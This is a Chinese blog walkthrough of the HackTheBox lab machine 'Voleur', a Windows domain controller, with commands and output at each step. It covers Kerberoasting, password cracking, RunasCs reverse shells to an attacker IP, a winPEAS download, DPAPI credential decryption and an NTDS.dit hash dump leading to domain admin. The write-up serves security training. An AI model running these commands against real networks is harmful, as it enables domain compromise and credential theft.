本文最后更新于 2026年3月12日 下午
一、靶场详情 靶场名称:
Voleur
靶场地址:
https://app.hackthebox.com/machines/670
靶场环境连接说明:
演示为 hackthebox 平台在线靶机,需通过 OpenVPN 客户端连接平台提供的 VPN 环境才能访问靶机。注意:平台新发布的靶机可以免费练习,而历史靶机则需要开通会员才能使用。还需要注意连接 hackthebox 平台 VPN 需要挂载代理,具体方式可参考之前的历史文章或留言。
二、思路总结 思维导图:
突破边界(获取用户旗帜):
在使用 Nmap 对目标主机进行端口扫描时,发现系统为 Windows 域控环境,开放了 SMB、SSH、Winrm 服务。靶机仅允许 kerberos 身份认证,使用已知用户申请 TGT 票据,在 SMB IT/First-Line Support 目录得到 xlsx 文件,利用 john 解密得到了多个用户凭证和 Todd.Wolfe 用户删除信息。使用 Bloodhound 分析发现 svc_ldap 用户对 svc_winrm 用户具有 writesSPN 权限,通过 kerberoast 攻击和 hashcat 解密,得到了 svc_winrm 用户密码,使用 evil-winrm 登录靶机,在 svc_winrm 桌面得到用户旗帜。
权限提升(获取管理员旗帜):
利用获取的 svc_winrm 用户 shell,执行 Runascs 工具反弹 shell(svc_ldap 用户权限),然后通过获取的 shell 恢复了 Todd.Wolfe 用户。再次执行执行 Runascs 工具反弹 shell,获取到 Todd.Wolfe 用户 shell,使用 winpeas 工具信息搜集,发现 Todd.Wolfe 用户家目录存在 DPAPI 文件,以 Todd.Wolfe 用户权限连接靶机 SMB 服务,其服务共享了 Todd.Wolfe 用户家目录,通过检索在家目录得到了加密的 master key 和用户凭证文件,使用 impacket-dpapi 工具解密得到了 Jeremy.Combs 用户凭证。使用 Jeremy.Combs 用户访问靶机 SMB 服务得到了 SSH 私钥文件,使用 svc_backup 用户成功登录靶机 WSL 系统。系统 mnt 目录挂载了靶机 C 盘文件,在 IT 共享目录发现了域控备份的 system 和 ntds 文件,使用 impacket-secretsdump 工具得到了域控管理员 hash,使用 evil-winrm 登录,在 administrator 桌面得到管理员旗帜。
三、靶场攻击演示 3.1 靶场信息收集 已知用户名和密码。
1 2 ryan.naylor HollowOct31Nyt
使用 nmap 对靶机进行端口扫描。
TCP 端口扫描:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 sudo nmap -p- 10.129.232.130 --min-rate=2000 PORT STATE SERVICE 53/tcp open domain 88/tcp open kerberos-sec 135/tcp open msrpc 139/tcp open netbios-ssn 389/tcp open ldap 445/tcp open microsoft-ds 464/tcp open kpasswd5 593/tcp open http-rpc-epmap 636/tcp open ldapssl 2222/tcp open EtherNetIP-1 3268/tcp open globalcatLDAP 3269/tcp open globalcatLDAPssl 5985/tcp open wsman 9389/tcp open adws 49664/tcp open unknown 49667/tcp open unknown 56661/tcp open unknown 64779/tcp open unknown 64780/tcp open unknown 64785/tcp open unknown 64810/tcp open unknown
UDP 端口扫描:未发现可利用的端口。
1 2 3 4 5 6 7 sudo nmap -p- -sU 10.129.232.130 --min-rate=2000 --open PORT STATE SERVICE 53/udp open domain 88/udp open kerberos-sec 123/udp open ntp 389/udp open ldap
继续使用 nmap 对已开放端口的服务进行信息收集。
TCP 服务信息搜集:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 sudo nmap -p53,88,135,139,389,445,464,593,636,2222,3268,3269,5985,9389,49664,49667,56661,64779,64780,64785,64810 -sCV 10.129.232.130 PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time : 2025-07-24 15:06:22Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: voleur.htb0., Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 2222/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 42:40:39:30:d6:fc :44:95:37:e1:9b:88:0b:a2:d7:71 (RSA) | 256 ae:d9:c2:b8:7d:65:6f:58:c8:f4:ae:4f:e4:e8:cd :94 (ECDSA) |_ 256 53:ad:6b:6c:ca:ae:1b:40:44:71:52:95:29:b1:bb:c1 (ED25519) 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: voleur.htb0., Site: Default-First-Site-Name) 3269/tcp open tcpwrapped 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-title: Not Found |_http-server-header: Microsoft-HTTPAPI/2.0 9389/tcp open mc-nmf .NET Message Framing 49664/tcp open msrpc Microsoft Windows RPC 49667/tcp open msrpc Microsoft Windows RPC 56661/tcp open msrpc Microsoft Windows RPC 64779/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 64780/tcp open msrpc Microsoft Windows RPC 64785/tcp open msrpc Microsoft Windows RPC 64810/tcp open msrpc Microsoft Windows RPC Service Info: Host: DC; OSs: Windows, Linux; CPE: cpe:/o:microsoft:windows, cpe:/o:linux:linux_kernel Host script results: | smb2-security-mode: | 3:1:1: |_ Message signing enabled and required |_clock-skew: 7h59m57s | smb2-time: | date : 2025-07-24T15:07:28 |_ start_date: N/A
由此得出结论:
系统为 Windows 域控环境,开放有 SMB、Winrm、SSH 服务,主机 host 为 DC,接下来进行逐个端口排查。
3.2 渗透测试突破边界(获取用户旗帜) 3.2.1 配置域控 Kerberos 认证 根据 nmap 扫描结果,在 kali 添加靶机域名解析(域控以及域控 KDC)。
1 echo "10.129.232.130\tdc.voleur.htb voleur.htb" | sudo tee -a /etc/hosts
尝试使用已知口令连接靶机 smb 服务,发现系统禁用了 NTLM 认证。
1 nxc smb 10.129.232.130 -u 'ryan.naylor' -p 'HollowOct31Nyt'
在 kali 使用 kerberos 认证需配置/etc/krb5.conf 文件,其中 KDC 为 DC 主机名。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 [domain_realm] .voleur.htb = VOLEUR.HTB voleur.htb = VOLEUR.HTB[libdefaults] default_realm = VOLEUR.HTB dns_lookup_realm = false dns_lookup_kdc = true ticket_lifetime = 24 h forwardable = true [realms] VOLEUR.HTB = { kdc = DC.VOLEUR.HTB admin_server = DC.VOLEUR.HTB default_domain = VOLEUR.HTB }
3.2.2 Todd.Wolfe 用户 SMB 服务目录泄漏 xlsx 文件 申请 TGT 票据(Todd.Wolfe 用户)。
1 2 3 4 ntpdate -q 10.129.232.130 faketime '2025-07-24 11:13:28' impacket-getTGT voleur.htb/'ryan.naylor' :'HollowOct31Nyt' -k -dc-ip 10.129.232.130export KRB5CCNAME=~/Desktop/hackthebox/voleur/ryan.naylor.ccache klist
利用票据访问系统 smb 服务,发现用户可访问 IT 目录。
1 faketime '2025-07-24 11:26:28' nxc smb dc.voleur.htb -u 'ryan.naylor' -p 'HollowOct31Nyt' -k --shares
使用 impacket-smbclient 连接 smb 服务,在 IT 目录子目录发现了 xlsm 文件,将其下载至本地。
1 2 3 4 5 faketime '2025-07-24 11:13:28' impacket-smbclient -k dc.voleur.htb use ITcd First-Line Supportls get Access_Review.xlsx
3.2.3 Xlsx 密码破解获取敏感信息 使用 libreoffice 打开表格文件,提示需要密码。
1 2 sudo apt updatesudo apt install libreoffice-calc
将文件转换为 John 可爆破格式。
1 2 office2john Access_Review.xlsx > xlsx.hash john xlsx.hash --wordlist=~/Desktop/rockyou.txt
1 Access_Review.xlsx:football1
成功破解,输入密码打开表格,发现大量敏感信息。
表格中可获取到:Todd.Wolfe 用户已删除并重置了账号密码、svc_ldap 和 svc_iis 密码信息。Ryan.Naylor 禁用了 kerberos 预身份认证,但我们已知该用户密码不需要进行 AS-Rep 攻击。
1 2 3 Todd.Wolfe NightT1meP1dg3on14 svc_ldap M1XyC9pW7qT5Vn svc_iis N5pXyW1VqM7CZ8
nxc 测试发现 svc_ldap 和 svc_iis 用户均可正常登录。
1 2 faketime '2025-07-24 11:36:14' nxc smb dc.voleur.htb -u 'svc_ldap' -p 'M1XyC9pW7qT5Vn' -k faketime '2025-07-24 11:36:14' nxc smb dc.voleur.htb -u 'svc_iis' -p 'N5pXyW1VqM7CZ8' -k
3.2.4 Svc_ldap 用户 kerberoast 攻击获取 svc_winrm 用户密码(WritesSPN 权限) 目前已经拥有三个用户权限,均无法远程管理靶机,使用其中一个用户执行域内信息收集。
1 faketime '2025-07-24 11:41:14' bloodhound-python -d voleur.htb -u 'ryan.naylor' -p 'HollowOct31Nyt' -ns 10.129.232.130 -c ALL --zip -k
bloodhound 查看通往 domain admin 最短路径,发现 svc_ldap 对 svc_winrm 用户具有 writesSPN 权限,且 svc_winrm 用户对 DC 具有远程管理权限。
右键 writesSPN 查看攻击帮助信息,发现可通过 targetedKerberoast 工具执行获取 TGS_REP 认证包。
首先获取 svc_ldap 用户 TGT 票据。
1 2 faketime '2025-07-24 11:48:56' impacket-getTGT voleur.htb/'svc_ldap' :'M1XyC9pW7qT5Vn' -k -dc-ip 10.129.232.130export KRB5CCNAME=~/Desktop/hackthebox/voleur/svc_ldap.ccache
使用 targetedKerberoast 工具执行攻击,获取到 lacey.miller 和 svc_winrm 用户 TGS_REP,利用 hashcat 执行破解。
1 python3 targetedKerberoast.py -d "voleur.htb" -k --dc-host "dc.voleur.htb"
将得到的加密字段保存至文本中,使用 hashcat 破解得到 svc_winrm 用户明文密码。
1 hashcat svc_winrm.tgsrep ~/Desktop/rockyou.txt
1 2 svc_winrm AFireInsidedeOzarctica980219afi
获取 svc_winrm TGT 票据。
1 2 faketime '2025-07-24 12:00:49' impacket-getTGT voleur.htb/'svc_winrm' :'AFireInsidedeOzarctica980219afi' -k -dc-ip 10.129.232.130export KRB5CCNAME=~/Desktop/hackthebox/voleur/svc_winrm.ccache
靶机开放了 winrm 服务,可使用 evil-winrm 登录靶机。
1 faketime '2025-07-24 12:00:49' evil-winrm -r voleur.htb -i dc.voleur.htb -k svc_winrm.ccache
3.2.5 用户旗帜获取
3.3 提权获取系统最高权限(获取管理员旗帜) 3.3.1 Powershell 恢复 Todd.Wolfe 用户账号(通过 svc_ldap 用户) 在 C 盘 IT 共享目录可发现三个子目录,之前已经利用 Todd.Wolfe 用户在 First-Line Support(一线)目录得到了 xlsx 文件。分析 xlsx 文件 Job 备注信息,Lacey.Miller 和 Todd.Wolfe 用户属于 Second-Line Support Technician 职位(二线),Jeremy.Combs 用户属于 Third-Line Support Technician 职位(三线),其中 Todd.Wolfe 用户密码已被重置,并删除了该用户。
bloodhound 检索发现 svc_ldap 用户对 Lacey.Miller 用户具有 GenericWrite 权限,可通过影子攻击获取 Lacey.Miller 用户 hash,利用 pyWhisker 工具未能攻击成功。** 注意:** 对于这条攻击思路可查看用户出站权限得知。
在域控中,可通过 powershell 指令恢复被删除的用户。经尝试使用 svc_ldap 用户可恢复删除的 Todd.Wolfe 用户。
由于 svc_ldap 用户没有远程登录靶机权限,需上传 Runascs 工具获取 svc_ldap 用户 shell。
1 upload /home/kali/Desktop/hackthebox/voleur/../../tools/runascs/RunasCs.exe
执行 Runascs 工具,成功得到 svc_ldap 用户反弹 shell。
1 2 3 4 5 rlwap nc -lvnp 1234 .\RunasCs.exe svc_ldap M1XyC9pW7qT5Vn cmd -r 10.10.16.23:1234
使用 powershell 恢复 Todd.Wolfe 用户。
1 2 3 4 5 6 powershell -ep bypass Get-ADObject -Filter {samaccountname -eq 'todd.wolfe' } -IncludeDeletedObjects Get-ADObject -Filter {samaccountname -eq 'todd.wolfe' } -IncludeDeletedObjects | Restore-ADObject
获取 Todd.Wolfe 用户 TGT 票据。
1 2 faketime '2025-07-24 12:38:02' impacket-getTGT voleur.htb/'Todd.Wolfe' :'NightT1meP1dg3on14' -k -dc-ip 10.129.232.130export KRB5CCNAME=~/Desktop/hackthebox/voleur/Todd.Wolfe.ccache
nxc 工具发现 Todd.Wolfe 用户也可读取 IT 目录。
1 faketime '2025-07-24 12:43:02' nxc smb dc.voleur.htb -u 'Todd.Wolfe' -p 'NightT1meP1dg3on14' -k --shares
连接靶机 smb 服务,发现服务共享了 todd.wolfe 用户目录。
1 2 3 4 faketime '2025-07-24 12:50:02' impacket-smbclient -k dc.voleur.htb use ITcd Second-Line Supportcd Archived Users
3.3.2 DPAPI 解密获取 Jeremy.Combs 用户密码 手动检索 Jeremy.Combs 用户目录敏感文件比较麻烦,通过 Runascs 获取 Jeremy.Combs 用户反弹 shell(svc_ldap 用户 shell 执行),接着上传 winpeas 执行信息搜集。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 rlwap nc -lvnp 1234 .\RunasCs.exe Todd.Wolfe NightT1meP1dg3on14 cmd -r 10.10.16.23:1234 winpeas goshs -p 80 powershell -ep bypass wget http://10.10.16.23/winPEASx64.exe -O winPEASx64.exe .\winPEASx64.exe
搜集过程发现了 Todd.Wolfe 用户目录存在 DPAPI keys,访问参考链接:
1 https://book.hacktricks.wiki/zh/windows-hardening/windows-local-privilege-escalation/index.html#dpapi
根据链接中介绍的方式无法直接找到对应的 keys 信息,但是 smb 服务共享了 Todd.Wolfe 用户目录,我们可通过连接靶机 smb 服务获取 Todd.Wolfe 用户目录文件。
Master Key:
1 2 /Second-Line Support/Archived Users/todd.wolfe/AppData/Roaming/Microsoft/Protect/S-1-5-21-3927696377-1337352550-2781715495-1110 08949382-134f-4c63-b93c-ce52efc0aa88
其中 key 的上级 Windows 目录存在多个敏感目录:
Credentials:用户存储加密凭证目录,包含远程桌面、共享目录等
Protect:存储 DPAPI keys 文件
Crypto:存储加密解密私钥信息
Vault:Windows Vault(保管箱),保存凭据、Web 密码、BitLocker 密钥等
在 Credentials 目录发现加密文件。
分别将两个文件下载至 kali。
1 2 3 4 5 cd /Second-Line Support/Archived Users/todd.wolfe/AppData/Roaming/Microsoft/Protect/S-1-5-21-3927696377-1337352550-2781715495-1110 get 08949382-134f-4c63-b93c-ce52efc0aa88cd /Second-Line Support/Archived Users/todd.wolfe/AppData/Roaming/Microsoft/Credentials get 772275FAD58525253490A9B0039791D3
需要先解密获取 master key,然后利用 master key 提取加密凭证信息,可使用 impacket-dpapi 工具执行解密。
解密 master key:
1 2 3 4 impacket-dpapi masterkey -file 08949382-134f-4c63-b93c-ce52efc0aa88 -sid S-1-5-21-3927696377-1337352550-2781715495-1110 -password NightT1meP1dg3on14
1 0xd2832547d1d5e0a01ef271ede2d299248d1cb0320061fd5355fea2907f9cf879d10c9f329c77c4fd0b9bf83a9e240ce2b8a9dfb92a0d15969ccae6f550650a83
解密加密数据:
1 impacket-dpapi credential -file 772275FAD58525253490A9B0039791D3 -key 0xd2832547d1d5e0a01ef271ede2d299248d1cb0320061fd5355fea2907f9cf879d10c9f329c77c4fd0b9bf83a9e240ce2b8a9dfb92a0d15969ccae6f550650a83
得到了 jeremy.combs 用户密码。
1 2 Username : jeremy.combs Unknown : qT3V9pLXyN7W4m
3.3.3 Jeremy.combs 用户 smb 目录获取 ssh 私钥文件 根据 xlsx 文件描述,jeremy.combs 用户属于三线员工,大概率可以访问第三个共享目录,先获取该用户 TGT。
1 2 faketime '2025-07-24 16:15:06' impacket-getTGT voleur.htb/'jeremy.combs' :'qT3V9pLXyN7W4m' -k -dc-ip 10.129.232.130export KRB5CCNAME=~/Desktop/hackthebox/voleur/jeremy.combs.ccache
使用 jeremy.combs 用户访问靶机 smb 服务,在目录发现了 id_ras 和 note.txt.txt 文件,将其下载至本地。
1 2 3 4 5 6 faketime '2025-07-24 16:15:06' impacket-smbclient -k dc.voleur.htb use ITls cd Third-Line Support get id_rsa get Note.txt.txt
Note.txt.txt 文件提示:为了方便备份部署了 WSL 子系统,其中端口扫描过程也发现了系统开放有 SSH 服务(2222 端口)。
使用私钥连接靶机 SSH 服务,需尝试多个用户最终使用 svc_backup 用户成功登录。
1 2 chmod 400 id_rsa ssh svc_backup@10.129.232.130 -i id_rsa -p 2222
在 WSL 子系统发现 mnt 目录挂载了靶机 C 盘,并在共享目录发现了 DC system 和 htds 文件,将其复制到用户目录然后使用 scp 下载至 kali 本地,紧接着使用 impacket-secretsdump 读取用户 hash。
1 /mnt/c/IT/Third-Line Support/Backups
1 2 3 4 5 6 7 8 cp SYSTEM ~/cp ../Active\ Directory/ntds.dit ~/ scp -i id_rsa -P 2222 svc_backup@dc.voleur.htb:/home/svc_backup/ntds.dit . scp -i id_rsa -P 2222 svc_backup@dc.voleur.htb:/home/svc_backup/SYSTEM . impacket-secretsdump -system SYSTEM -ntds ntds.dit LOCAL
1 Administrator:500:aad3b435b51404eeaad3b435b51404ee:e656e07c56d831611b577b160b259ad2:::
利用 administrator 用户 hash 获取 TGT,然后使用 evil-winrm 连接靶机。
1 2 3 faketime '2025-07-24 16:56:35' impacket-getTGT voleur.htb/'administrator' -hashes :e656e07c56d831611b577b160b259ad2 -k -dc-ip 10.129.232.130export KRB5CCNAME=~/Desktop/hackthebox/voleur/administrator.ccache faketime '2025-07-24 16:56:35' evil-winrm -r voleur.htb -i dc.voleur.htb -k administrator.ccache
3.3.4 管理员旗帜获取
Thanks 🎓 新手福利|Hack The Box 学院推荐
🧑💻 如果您是初学者,强烈推荐前往 HTB Academy 学习入门课程!
📚 HTB Academy 提供互动式教学,从网络基础到攻防实战,帮助您系统成长、逐步进阶。
📌 建议优先完成模块 :「Introduction to Academy 」 ✅ 掌握核心概念,🔓 解锁更多高阶内容与实战功能!
📝 首次访问需注册账号 ,支持邮箱注册或 GitHub / Google 快速登录。
🚀 点击下方专属邀请链接 🔗,与我一起踏上网络安全学习之旅 👉:https://referral.hackthebox.com/mzCXyui
如果我的文章对您有帮助或您希望与我更多交流,欢迎点击「关于我」,通过页面中的微信公众号、邮箱或 Discord 与我联系;若您发现文章中存在任何错误或不足之处,也非常欢迎通过以上方式指出,在此一并致以衷心的感谢。 😊🫡
最后,祝您生活愉快!🌞✨